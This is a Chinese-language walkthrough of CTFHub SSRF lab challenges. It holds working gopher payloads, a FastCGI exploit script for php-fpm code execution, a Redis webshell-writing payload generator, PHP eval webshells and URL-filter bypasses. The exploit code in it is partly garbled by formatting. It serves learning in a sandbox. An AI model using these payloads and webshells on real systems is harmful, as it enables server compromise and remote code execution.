目录
题目描述
尝试访问位于127.0.0.1
的flag.php吧
解题过程
打开题目,url为http://challenge-54ab013865ee24e6.sandbox.ctfhub.com:10080/?url=_
推测可以通过参数url访问内网
直接访问?url=http://127.0.0.1/flag.php
即可
题目描述
尝试去读取一下Web目录下的flag.php吧
解题过程
url为http://challenge-cc86fd87db00a898.sandbox.ctfhub.com:10080/?url=_
直接访问?url=http://127.0.0.1/flag.php
,没有flag,根据题目描述,应该在源码中,改用ssrf的伪协议读取
?url=file:///var/www/html/flag.php
即可
题目描述
来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦
解题过程
访问?url=http://127.0.0.1:8000
,burp抓包,intruder端口爆破
题目描述
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.我准备了一个302.php,可能对你有用哦
解题过程
访问?url=http://127.0.0.1/302.php
<?php
if(isset($_GET['url'])){
header("Location: {$_GET['url']}");
exit;
}
highlight_file(__FILE__);
访问?url=file:///var/www/html/index.php
<?php
error_reporting(0);
header("Help: here is 302.php");
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
>
访问?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if(isset($_POST["key"]) && $_POST["key"] == $key){
echo $flag;
exit;
}
?>
访问?url=http://127.0.0.1/flag.php
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=5e37e6b3f645b286834aabb8a49dac71-->
</form>
现在拿到了key,只需要构造POST请求,把key提交给flag.php
页面即可
(这个过程自己把自己坑了一把)
ssrf中可以使用gopher
协议来构造post请求,具体格式:
gopher://ip:port/_METHOD /file HTTP/1.1 http-header&body
构造请求包:
!注意Content-Length
和Content-Type
,可以直接访问页面提交数据,用burp抓包再修改Host
POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=5e37e6b3f645b286834aabb8a49dac71
HTTP版本之前编码一次,之后部分URL编码 两次:
!注意,换行符是%0d%0a
POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20127.0.0.1%250d%250aUser-Agent%3A%20curl%250d%250aAccept%3A%20%2A/%2A%250d%250aContent-Type%3A%20application/x-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250akey%3D5e37e6b3f645b286834aabb8a49dac71
拼接payload:
?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20127.0.0.1%250d%250aUser-Agent%3A%20curl%250d%250aAccept%3A%20%2A/%2A%250d%250aContent-Type%3A%20application/x-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250akey%3D5e37e6b3f645b286834aabb8a49dac71
题目给了提示,curl
会跟踪302跳转,这个点主要用于参数长度或内容有限制的时候,可以通过302跳转来实现ssrf。例如,限制了url长度,那么可以在自己的vps或者靶机上,上传构造好的(Location: gopher://xxxxxxxx
)跳转页面,然后直接访问跳转页面,即可实现ssrf。
题目描述
这次需要上传一个文件到flag.php了.我准备了个302.php可能会有用.祝你好运
解题过程
访问?url=file:///var/www/html/flag.php
查看flag代码
<?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] ){
echo getenv("CTFHUB");
exit;
}
?>
自行在form表单中添加提交按钮<input type="submit" value="提交">
用burp抓包
修改后:
POST /flag.php HTTP/1.1
Host: challenge-0787aada7abf3fe4.sandbox.ctfhub.com:10080
Content-Length: 222
Cache-Control: max-age=0
Origin: http://challenge-0787aada7abf3fe4.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFq9cC6PrPMDmf6JG
User-Agent: Mozilla/5.0
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundaryFq9cC6PrPMDmf6JG
Content-Disposition: form-data; name="file"; filename="draft.php"
Content-Type: application/octet-stream
<?php eval($_POST[x]); ?>
------WebKitFormBoundaryFq9cC6PrPMDmf6JG--
改为ssrf
?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250D%250AHost%253A%2520challenge-0787aada7abf3fe4.sandbox.ctfhub.com%253A10080%250D%250AContent-Length%253A%2520222%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AOrigin%253A%2520http%253A//challenge-0787aada7abf3fe4.sandbox.ctfhub.com%253A10080%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryFq9cC6PrPMDmf6JG%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%250D%250AAccept%253A%2520%252A/%252A%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%252Cen%253Bq%253D0.8%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryFq9cC6PrPMDmf6JG%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522draft.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bx%255D%2529%253B%2520%253F%253E%250D%250A------WebKitFormBoundaryFq9cC6PrPMDmf6JG--
直接访问就给flag了
题目描述
这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助
解题过程
这道题坑有点多 = =,反复做了好几次才成功 ,主要有几点:
题目附件中的exp是使用fastcgi协议发送报文的,是直接向php-fpm(9000端口)发送的,外网不能访问到该端口,不能直接拿来打题目url
需要使用hex编码来构造payload,而hexdump在x86环境下是小端显示(就是地址位低的字节在前)
hex编码后的payload需要转换位url编码,然后再次url编码(一共两次url编码)
步骤(我是在kali虚拟机上完成的)
监听端口(可以不用9000,可以随意更换,但是在下面的exp里也要修改对应端口),使用hexdump的大端显示模式,把结果存到1.txt
nc -lvvp 9000 | hexdump -C > 1.txt
执行exp
python exp.py -c "<?php var_dump(system('ls /')); ?>" -p 9000 0.0.0.0 /var/www/html/index.php
用法python exp.py -c php代码 -p php-fpm端口 ip 任意php文件的绝对路径
这里我们是要自己向自己的端口访问,来获取请求报文,所以端口可以任意设置
exp脚本(p神yyds!)
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record</code></pre>def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return<pre><code>requestId = random.randint(1, (1 &amp;lt;&amp;lt; 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += bufdata = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)</code></pre></li></ul>
处理请求报文
我在参考里的脚本上添加了一些处理的代码,来过滤hexdump -C
的对照信息,然后转换成url编码格式
import urllib
# 打开报文
file = open("/home/kali/1.txt","r")
content = file.readlines()
# 读取报文,去除对照信息
str_ = ""
for line in content:
str_ += line[8:-20]
# 去除空格和换行符
str_dealed = str_.replace("\n", "").replace(" ", "")
# 转换为url编码形式
payload = ""
length = len(str_dealed)
for i in range(0, length, 2):
temp = "%" + str_dealed[i] + str_dealed[i+1]
payload += temp
# 再次url编码
print(urllib.quote(payload))
拼接payload
http://challenge-id.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:9000/_payload
参考
https://blog.csdn.net/rfrder/article/details/108589988
https://blog.csdn.net/mysteryflower/article/details/94386461
题目描述
这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!
解题过程
访问?url=file:///var/www/html/index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>
这道题和上道题方法类似,都是利用gopher来构造特定协议内容,直接和应用通信,这道题用的是Redis的RESP协议
关于RESP和其他详细分析,可以参考这篇文章
利用Redis来写webshell
redis命令
flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
利用脚本转换为gopher的payload(出自上面的文章)
import urllib
from urllib import parse
protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload_prefix = protocol + ip + ":" + port + "/_"
CRLF = "\r\n"
def redis_format(arr):
redis_arr = arr.split(" ")
cmd_ = ""
cmd_ += "*" + str(len(redis_arr))
for x_ in redis_arr:
cmd_ += CRLF + "$" + str(len((x_.replace("${IFS}", " ")))) + CRLF + x_.replace("${IFS}", " ")
cmd_ += CRLF
return cmd_
if __name__ == "__main__":
payload = ""
for x in cmd:
payload += parse.quote(redis_format(x)) # url编码
payload = payload_prefix + parse.quote(payload) # 再次url编码
print(payload)
添加了一次url编码,来适配GET的两次解码
得到payload:gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%3C%253Fphp%2520eval%2528%2524_GET%255B%22cmd%22%255D%2529%253B%253F%3E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
然后访问/shell.php?cmd=php_code;
即可
题目描述
url must startwith "http://notfound.ctfhub.com"
解题过程
之前有过xss的bypass经验,知道两个方法:
利用xip.io
(可以直接访问该域名,里面有详细说明)
www.xxx.com.1.1.1.1.xip.io
,会解析为1.1.1.1xip.io
被ban了尝试nip.io
?url=http://notfound.ctfhub.com.127.0.0.1.nip.io/flag.php
使用HTTP基础认证
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
题目描述
无
解题过程
访问?url=http://127.0.0.1
,提示ban掉了127 172 @
只需要把127.0.0.1
转换为数字IP,结果为2130706433
payload:?url=http://2130706433/flag.php
题目描述
无
解题过程
访问?url=http://127.0.0.1
,提示禁止访问局域网ip
只需要把跳转的脚本上传到vps上,然后访问vps上的脚本,跳转回去即可
<?php
if(isset($_GET['url'])){
header("Location: {$_GET['url']}");
exit;
}
?>
?url=http://IP:PORT/302.php?url=http://127.0.0.1/flag.php
题目描述
无
解题过程
访问?url=http://127.0.0.1
,提示禁止访问局域网ip
题目是DNS重绑定,就去搜了一下相关资料 来源:https://www.freebuf.com/articles/web/135342.html
对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤:
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:
(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证
(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。
推荐一个很详细的资料:关于DNS-rebinding的总结
需要有域名和vps,然后根据总结里的方法,就可以完成
(我暂时没有能用的域名,挖个坑,以后来填)
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